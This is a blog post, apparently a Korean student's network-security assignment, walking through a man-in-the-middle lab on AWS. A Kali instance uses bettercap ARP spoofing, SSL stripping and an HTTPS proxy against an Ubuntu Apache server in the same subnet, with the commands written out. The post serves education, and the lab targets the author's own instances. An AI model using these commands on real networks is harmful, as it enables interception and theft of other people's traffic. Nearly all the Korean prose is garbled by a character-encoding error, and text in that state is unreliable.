์ธํ”„๋ผ

[AWS, ๋ณด์•ˆ] ํด๋ผ์šฐ๋“œ ํ™˜๊ฒฝ์—์„œ MITM ๊ณต๊ฒฉ ๋ถ„์„

HHRR 2024. 10. 4. 23:56

 

๋„คํŠธ์›Œํฌ ๋ณด์•ˆ ์ˆ˜์—…์—์„œ ์ง„ํ–‰ํ•œ ๊ณผ์ œ์ž…๋‹ˆ๋‹ค.

 

 

ํด๋ผ์šฐ๋“œ ํ™˜๊ฒฝ์€ ํ˜„๋Œ€ ๊ธฐ์—… ๋ฐ ๊ธฐ๊ด€์—์„œ IT ์ธํ”„๋ผ๋ฅผ ๊ตฌ์ถ•ํ•˜๊ณ  ์šด์˜ํ•˜๋Š” ์ฃผ์š” ๋ฐฉ๋ฒ• ์ค‘ ํ•˜๋‚˜๋กœ AWS, NHN ํด๋ผ์šฐ๋“œ ๋“ฑ ๋งŽ์ด ์‚ฌ์šฉ๋˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. ํ•˜์ง€๋งŒ ํด๋ผ์šฐ๋“œ ํ™˜๊ฒฝ์€ ๊ตฌ์กฐ๊ฐ€ ๋ณต์žกํ•˜๋ฉฐ ์•”ํ˜ธํ™”๋˜์ง€ ์•Š์€ API ํ‚ค, ์ž˜๋ชป ๊ตฌ์„ฑ๋œ ๋„คํŠธ์›Œํฌ ์•ก์„ธ์Šค ๊ถŒํ•œ ๋“ฑ์€ MITM ๊ณต๊ฒฉ์˜ ํ†ต๋กœ๊ฐ€ ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํด๋ผ์šฐ๋“œ ํ™˜๊ฒฝ์—์„œ์˜ ๋„คํŠธ์›Œํฌ ํ†ต์‹ ์€ ์ธํ„ฐ๋„ท์„ ํ†ตํ•ด ์ด๋ฃจ์–ด์ง€๋ฉฐ, ์ด๋กœ ์ธํ•ด ์ค‘๊ฐ„์ž ๊ณต๊ฒฉ(MITM) ๊ณผ ๊ฐ™์€ ๊ณต๊ฒฉ์ด ๋ฐœ์ƒํ•˜์—ฌ ๊ณต๊ฒฉ์ž๋Š” ์ค‘๊ฐ„์— ์œ„์น˜ํ•˜์—ฌ ํ†ต์‹ ์„ ๊ฐ€๋กœ์ฑ„๊ฑฐ๋‚˜ ์กฐ์ž‘ํ•˜์—ฌ ๋ฏผ๊ฐํ•œ ์ •๋ณด๋ฅผ ํƒˆ์ทจํ•˜๊ฑฐ๋‚˜ ๋ณ€์กฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ํ˜„์žฌ ์ƒ์šฉํ™”๋˜์–ด์žˆ๋Š” ํด๋ผ์šฐ๋“œ ํ™˜๊ฒฝ์—์„œ์˜ MITM ๊ณต๊ฒฉ ๊ณผ์ •์„ ์‚ดํŽด๋ณด๊ณ , ์—ฌ๋Ÿฌ๊ฐ€์ง€ ์‹ค์ œ ํ™˜๊ฒฝ์˜ ์กฐ๊ฑด์ด ๊ณต๊ฒฉ์— ๋ฏธ์น˜๋Š” ์˜ํ–ฅ์„ ๋ถ„์„ํ•ฉ๋‹ˆ๋‹ค.

 

์‹คํ—˜ AWS ํ™˜๊ฒฝ ์„ธํŒ…

- ๊ณต๊ฒฉ์ž PC: AWS ๋‚ด๋ถ€์˜ Kali Linux EC2 ์ธ์Šคํ„ด์Šค

- ๊ณต๊ฒฉ ๋Œ€์ƒ PC: AWS ๋‚ด๋ถ€์˜ Ubuntu Linux EC2 ์ธ์Šคํ„ด์Šค

- ๊ฐ€์ƒ ํ™˜๊ฒฝ: AWS EC2 VPC(Virtual Private Cloud) ๋‚ด๋ถ€

 

1. AWS ๊ณ„์ • ์ƒ์„ฑ ๋ฐ ์‚ฌ์šฉ์ž ์ƒ์„ฑํ•˜์—ฌ ์ •์ฑ…(AdministratorAccess)์„ ์—ฐ๊ฒฐ ํ•ด์ค๋‹ˆ๋‹ค.

2. VPC (network-security-vpc) ์ƒ์„ฑ ํ›„์— VPC ์•ˆ์— ํ•œ ๊ฐœ์˜ ํผ๋ธ”๋ฆญ ์„œ๋ธŒ๋„ท (๊ฐ€์šฉ์˜์—ญ A)์„ ์ƒ์„ฑ ํ•ด์ค๋‹ˆ๋‹ค.

3. ๋ผ์šฐํŒ… ํ…Œ์ด๋ธ”์— 2๋ฒˆ์—์„œ ์ƒ์„ฑํ•œ ์„œ๋ธŒ๋„ท์„ ์—ฐ๊ฒฐํ•ด์ค๋‹ˆ๋‹ค.

4. ์ธํ„ฐ๋„ท ํ†ต์‹ ์„ ์œ„ํ•ด ์ธํ„ฐ๋„ท ๊ฒŒ์ดํŠธ์›จ์ด๋ฅผ ์ƒ์„ฑํ•˜์—ฌ ๋ผ์šฐํŒ… ํ…Œ์ด๋ธ”์— ์—ฐ๊ฒฐํ•ด์ค๋‹ˆ๋‹ค.

5. ๊ณต๊ฒฉ์ž์™€ ๊ณต๊ฒฉ ๋Œ€์ƒ์˜ EC2 ์ธ์Šคํ„ด์Šค๋ฅผ ์ƒ์„ฑํ•ด์ค๋‹ˆ๋‹ค.

  • A. ๊ณต๊ฒฉ์ž AMI ์ด๋ฏธ์ง€๋Š” ์นผ๋ฆฌ, ๊ณต๊ฒฉ ๋Œ€์ƒ AMI ์ด๋ฏธ์ง€๋Š” ์šฐ๋ถ„ํˆฌ๋ฅผ ์„ ํƒํ•ด์„œ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค.
  • B. ์ธ์Šคํ„ด์Šค ์ƒ์„ฑ ์‹œ์—๋Š” ์œ„์—์„œ ์„ค์ •ํ•ด์ค€ ์„œ๋ธŒ๋„ท1์— ๊ฐ๊ฐ ์—ฐ๊ฒฐ์„ ํ•ด์ค๋‹ˆ๋‹ค.
  • C. ์ธ์Šคํ„ด์Šค ์‹คํ–‰์„ ์œ„ํ•œ RSA ํ‚ค ํŽ˜์–ด๋ฅผ ์ƒ์„ฑํ•ด์ค๋‹ˆ๋‹ค.

6. ๊ฐ๊ฐ ์ธ์Šคํ„ด์Šค์˜ SSH ์ ‘์†์„ ์œ„ํ•ด ํ‚ค ํŽ˜์–ด๊ฐ€ ์žˆ๋Š” ๊ณณ์œผ๋กœ ์ด๋™ํ•˜์—ฌ

$ chmod 400 “network-security-key-pair.pem” ์„ ์‹คํ–‰ ํ›„์— ssh ์ ‘์†์œผ๋กœ ์นผ๋ฆฌ EC2 ๋‚ด๋ถ€์— ๋“ค ์–ด๊ฐ‘๋‹ˆ๋‹ค. (์šฐ๋ถ„ํˆฌ๋„ ๋งˆ์ฐฌ๊ฐ€์ง€๋กœ ์ ‘์†)

7. ์„ค์ •ํ•œ VPC, ์„œ๋ธŒ๋„ท, ๋ผ์šฐํŒ… ํ…Œ์ด๋ธ” ๊ตฌ์„ฑ๋„์ž…๋‹ˆ๋‹ค.

 

 

๊ณต๊ฒฉ ๊ณผ์ •

๊ณต๊ฒฉ๋Œ€์ƒ : ์šฐ๋ถ„ํˆฌ EC2 ํ™˜๊ฒฝ

 

1.     ๊ณต๊ฒฉ ๋Œ€์ƒ์ธ ์šฐ๋ถ„ํˆฌ EC2 ์ธ์Šคํ„ด์Šค ๋‚ด๋ถ€๋กœ ์ ‘๊ทผํ•œ ํ›„์— ์•„ํŒŒ์น˜ ์„œ๋ฒ„๋ฅผ ์„ค์น˜ํ•ฉ๋‹ˆ๋‹ค.

2.     Openssl์„ ํ†ตํ•ด ssl์ธ์ฆ์„œ๋ฅผ ๋ฐœ๊ธ‰๋ฐ›์Šต๋‹ˆ๋‹ค.

  • A.     $ sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/ssl/private/apache-selfsigned.key -out /etc/ssl/certs/apache-selfsigned.crt

3.     /etc/apache2/sites-avilable.dafult-ssl.conf ์— ๋‹ค์Œ ๋ช…๋ น์–ด ์„ธ ์ค„์„ ์ถ”๊ฐ€ํ•ด์ฃผ๊ณ  SSL ๋ชจ๋“ˆ ํ™œ์„ฑํ™” ๋ฐ apache๋ฅผ ์žฌ์‹คํ–‰ํ•ด์ค๋‹ˆ๋‹ค.

  • A.     SSLEngine on
    SSLCertificateFile /etc/ssl/certs/apache-selfsigned.crt
    SSLCertificateKeyFile /etc/ssl/private/apache-selfsigned.key

  • B.     $ sudo a2enmod ssl
    $ sudo a2ensite default-ssl
    $ sudo systemctl restart apache2

4.     ๋ณด์•ˆ๊ทธ๋ฃน ์„ค์ •

  • A.     ๊ณต๊ฒฉ๋Œ€์ƒ ์„œ๋ฒ„๊ฐ€ ์™ธ๋ถ€ ์ธํ„ฐ๋„ท์— ์ ‘๊ทผํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” AWS ์ธ์Šคํ„ด์Šค ๋‚ด์˜ ๋ณด์•ˆ๊ทธ๋ฃน์„ ์ง€์ •ํ•ด์ค˜์•ผํ•ฉ๋‹ˆ๋‹ค.
  • B.     ์ธ๋ฐ”์šด๋“œ ๊ทœ์น™์—์„œ  80๋ฒˆ HTTP ํฌํŠธ์™€ 443๋ฒˆ HTTPS ํฌํŠธ๋ฅผ ์—ด์–ด์ฃผ๋ฉด
    ํผ๋ธ”๋ฆญ IP๋กœ ์™ธ๋ถ€์—์„œ ์ ‘๊ทผ์ด ๊ฐ€๋Šฅํ•œ ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๊ณต๊ฒฉ์ž : ์นผ๋ฆฌ EC2 ํ™˜๊ฒฝ

1.     ์นผ๋ฆฌ ๋ฆฌ๋ˆ…์Šค์— Bettercap์„ ์„ค์น˜ํ•ด์ค๋‹ˆ๋‹ค. $ sudo apt install bettercap

2.     Bettercap์„ ์‹คํ–‰ํ•ด์ค๋‹ˆ๋‹ค.

  • A.     $ sudo bettercap -iface eth0
  • B.     >> net.probe on: ๋„คํŠธ์›Œํฌ ์Šค์บ๋‹์„ ํ™œ์„ฑํ™”ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” Bettercap์ด ๋„คํŠธ์›Œํฌ ๋‚ด์—์„œ ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ ํ˜ธ์ŠคํŠธ๋ฅผ ํƒ์ง€ํ•˜๋„๋ก ํ•ฉ๋‹ˆ๋‹ค.
  • C.     >> set arp.spoof.targets 10.0.1.31: ARP ์Šคํ‘ธํ•‘ ๋Œ€์ƒ์„ ์„ค์ •ํ•ฉ๋‹ˆ๋‹ค. ์—ฌ๊ธฐ์„œ๋Š” 10.0.1. 31 IP ์ฃผ์†Œ๋ฅผ ๊ฐ€์ง„ ์šฐ๋ถ„ํˆฌ ํ˜ธ์ŠคํŠธ๋ฅผ ๊ณต๊ฒฉ ๋Œ€์ƒ์œผ๋กœ ํ•ฉ๋‹ˆ๋‹ค. ARP ์Šคํ‘ธํ•‘์œผ๋กœ ๊ณต๊ฒฉ์ž๊ฐ€ ํ”ผํ•ด์ž์˜ IP ์ฃผ์†Œ๋กœ์˜ ํŠธ๋ž˜ํ”ฝ์„ ์ž์‹ ์˜ MAC ์ฃผ์†Œ๋กœ ๋ผ์šฐํŒ…ํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•ฉ๋‹ˆ๋‹ค.
  • D.     >> arp.spoof on: ARP ์Šคํ‘ธํ•‘์„ ํ™œ์„ฑํ™”ํ•˜๊ณ  Bettercap์„ ์‚ฌ์šฉํ•˜์—ฌ ARP ์Šคํ‘ธํ•‘์„ ์‹ค์ œ๋กœ ์‹คํ–‰ํ•˜๋„๋ก ํ•ด์ค๋‹ˆ๋‹ค. ์ด์ œ ๊ณต๊ฒฉ์ž๋Š” ํ”ผํ•ด์ž๋กœ๋ถ€ํ„ฐ์˜ ํŠธ๋ž˜ํ”ฝ์„ ์ค‘๊ฐ„์—์„œ ๊ฐ€๋กœ์ฑŒ ์ˆ˜ ์žˆ๋Š” ์ƒํ™ฉ์ด ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.
  • E.     >> set https.proxy.sslstrip true: HTTPS ํŠธ๋ž˜ํ”ฝ์—์„œ SSL ์ŠคํŠธ๋ฆฝ์„ ์‚ฌ์šฉํ•˜์—ฌ SSL ์—ฐ๊ฒฐ์„ ํ•ด์ œํ•˜๋„๋ก ์„ค์ •ํ•ฉ๋‹ˆ๋‹ค. SSL ์ŠคํŠธ๋ฆฝ์œผ๋กœ HTTPS ํŠธ๋ž˜ํ”ฝ์—์„œ SSL์„ ์ œ๊ฑฐํ•˜์—ฌ ํ”ผํ•ด์ž๊ฐ€ ๋ณด์•ˆ๋œ ์—ฐ๊ฒฐ๋กœ ์ธ์‹ํ•˜๋Š” ๊ฒƒ์„ ๋ฐฉ์ง€ํ•ฉ๋‹ˆ๋‹ค.
  • F.      >> https.proxy on: HTTPS ํ”„๋ก์‹œ๋ฅผ ํ™œ์„ฑํ™”ํ•ฉ๋‹ˆ๋‹ค. ์ด ๋ช…๋ น์œผ๋กœ Bettercap์„ ์‚ฌ์šฉํ•˜์—ฌ HTTPS ํ”„๋ก์‹œ๋ฅผ ์‹คํ–‰ํ•˜๋„๋ก ํ•ฉ๋‹ˆ๋‹ค. ์ด์ œ ๊ณต๊ฒฉ์ž๋Š” ํ”ผํ•ด์ž์™€ ์„œ๋ฒ„ ๊ฐ„์˜ HTTPS ํ†ต์‹  ์„ ๊ฐ€๋กœ์ฑŒ ์ˆ˜ ์žˆ๋Š” ์ƒํ™ฉ์ด ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

3.     ๊ณต๊ฒฉ ๋Œ€์ƒ์ธ ์šฐ๋ถ„ํˆฌ์˜ HTTPS ๊ฐ€ ์ ์šฉ๋œ ํผ๋ธ”๋ฆญ IP๋กœ ์ ‘๊ทผํ•ด๋ณด๋ฉด, ๋ณด์•ˆ ์—ฐ๊ฒฐ์ด ๋˜์ง€ ์•Š์Œ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๊ณ , ์šฐ๋ถ„ํˆฌ IP์—์„œ ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•˜๋ฉด, ์นผ๋ฆฌ๊ฐ€ ๋ฐ์ดํ„ฐ๋ฅผ ์—ฟ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

 

๊ฒฐ๊ณผ ๋ถ„์„

 

์œ„์˜ ๊ณผ์ •์„ ํ†ตํ•ด ํด๋ผ์šฐ๋“œ ํ™˜๊ฒฝ์—์„œ SSL MITM ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ–ˆ์Šต๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๋Š” Bettercap์„ ์‚ฌ์šฉํ•˜์—ฌ ํ”ผํ•ด์ž์˜ HTTPS ํŠธ๋ž˜ํ”ฝ์„ ๊ฐ€๋กœ์ฑ„๊ณ , SSL ์ŠคํŠธ๋ฆฝ์„ ํ†ตํ•ด ์•”ํ˜ธํ™”๋ฅผ ํ•ด์ œํ•˜์—ฌ ํ”ผํ•ด์ž๊ฐ€ ์›น ์„œ๋ฒ„์™€ ํ†ต์‹ ํ•˜๋Š” ๋‚ด์šฉ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค.

์‹คํ—˜ ๊ณผ์ •์—์„œ AWS ๊ตฌ์„ฑ์— ๋”ฐ๋ผ ARP ์Šคํ‘ธํ•‘ ๋ฌธ์ œ, ์™ธ๋ถ€ ์„œ๋ฒ„์— ์ ‘๊ทผํ•˜์ง€ ๋ชปํ•˜๋Š” ๋ฌธ์ œ๊ฐ€ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค.

 

1๋ฒˆ AWS ๊ตฌ์„ฑ ๋ฐฉ์‹

์ดˆ๊ธฐ AWS ๊ตฌ์„ฑ์€ ๋‹ค์Œ ๊ทธ๋ฆผ๊ณผ ๊ฐ™์ด ํ•œ ๊ฐœ์˜ VPC์•ˆ์— ๋‘ ๊ฐœ์˜ ํผ๋ธ”๋ฆญ ์„œ๋ธŒ๋„ท์„ ๋‘๊ณ  ๊ฐ๊ฐ ์นผ๋ฆฌ ๋ฆฌ๋ˆ…์Šค์™€ ์šฐ๋ถ„ํˆฌ ๋ฆฌ๋ˆ…์Šค๋ฅผ ๋ฐฐ์น˜ํ•œ ํ›„์— MITM ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ–ˆ์Šต๋‹ˆ๋‹ค.


 

 

ํ•˜์ง€๋งŒ ์ด ๊ตฌ์„ฑ์œผ๋กœ ์„ค์ • ํ›„ ๊ณต๊ฒฉ์ž์ธ ์นผ๋ฆฌ ๋ฆฌ๋ˆ…์Šค์—์„œ ARP ์Šคํ‘ธํ•‘ ๊ณผ์ •์—์„œ ๊ณต๊ฒฉ ๋Œ€์ƒ์„ ์ฐพ์ง€ ๋ชปํ•œ๋‹ค๋Š” ๋ฌธ์ œ๋ฅผ ๋ฐœ๊ฒฌํ–ˆ๊ณ , ๋™์ผํ•œ vpc์™€ ์„œ๋ธŒ๋„ท์— ๋ฐฐ์น˜ํ•˜์—ฌ ๊ณต๊ฒฉ์„ ์ œ๋Œ€๋กœ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

๋˜ํ•œ ๋‘ ์ธ์Šคํ„ด์Šค ๊ฐ„์˜ ํŠธ๋ž˜ํ”ฝ์„ ํ—ˆ์šฉํ•ด์•ผ ํ•˜๋ฏ€๋กœ ๋ณด์•ˆ๊ทธ๋ฃน์˜ ์ธ๋ฐ”์šด๋“œ ๊ทœ์น™์œผ๋กœ 22ํฌํŠธ, 80ํฌํŠธ, 443 ํฌํŠธ๋ฅผ ํ—ˆ์šฉํ•ด์คŒ์œผ๋กœ ๊ณต๊ฒฉ์„ ์„ฑ๊ณต์ ์œผ๋กœ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค.

2๋ฒˆ AWS ๊ตฌ์„ฑ ๋ฐฉ์‹

๋”ฐ๋ผ์„œ ์ตœ์ข…์ ์œผ๋กœ ๊ฐ™์€ VCP์•ˆ์— ํ•œ ๊ฐœ์˜ ํผ๋ธ”๋ฆญ ์„œ๋ธŒ๋„ท์— ๊ณต๊ฒฉ์ž์ธ ์นผ๋ฆฌ ์ธ์Šคํ„ด์Šค์™€ ๊ณต๊ฒฉ ๋Œ€์ƒ์ธ ์šฐ๋ถ„ํˆฌ ์ธ์Šคํ„ด์Šค๋ฅผ ๋ฐฐ์น˜ํ•˜๊ณ , ์ธํ„ฐ๋„ท ๊ฒŒ์ดํŠธ์›จ์ด๋ฅผ ๋ผ์šฐํŒ… ํ…Œ์ด๋ธ”๋กœ ์„ค์ •ํ•ด์ฃผ์–ด์„œ ์™ธ๋ถ€ ์ธํ„ฐ๋„ท ์ ‘๊ทผ๋„ ํ—ˆ์šฉํ•ด์คŒ์œผ๋กœ์จ MITM ๊ณต๊ฒฉ์„ AWSํ™˜๊ฒฝ์—์„œ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค.

 

 

์ฐธ๊ณ ๋ฌธํ—Œ

-       AWS ๊ณต์‹ ๋ฌธ์„œ : https://docs.aws.amazon.com/ko_kr/vpc/latest/userguide/what-is-amazon-vpc.html

-       AWS ๊ตฌ์ถ• ๋ฐฉ๋ฒ• ๋ฐ ์นผ๋ฆฌ ๋ฆฌ๋ˆ…์Šค ์„ค์ • :

n  https://velog.io/@osmdark/1.AWS%EC%84%9C%EB%B2%84-%EA%B5%AC%EC%B6%95%ED%95%98%EA%B8%B0

n  https://aws.amazon.com/marketplace/pp/prodview-fznsw3f7mq7to

-       MITM ์ฐธ๊ณ  ๋ธ”๋กœ๊ทธ :

n  https://jennana.tistory.com/472

n  https://hsm-racoon.tistory.com/62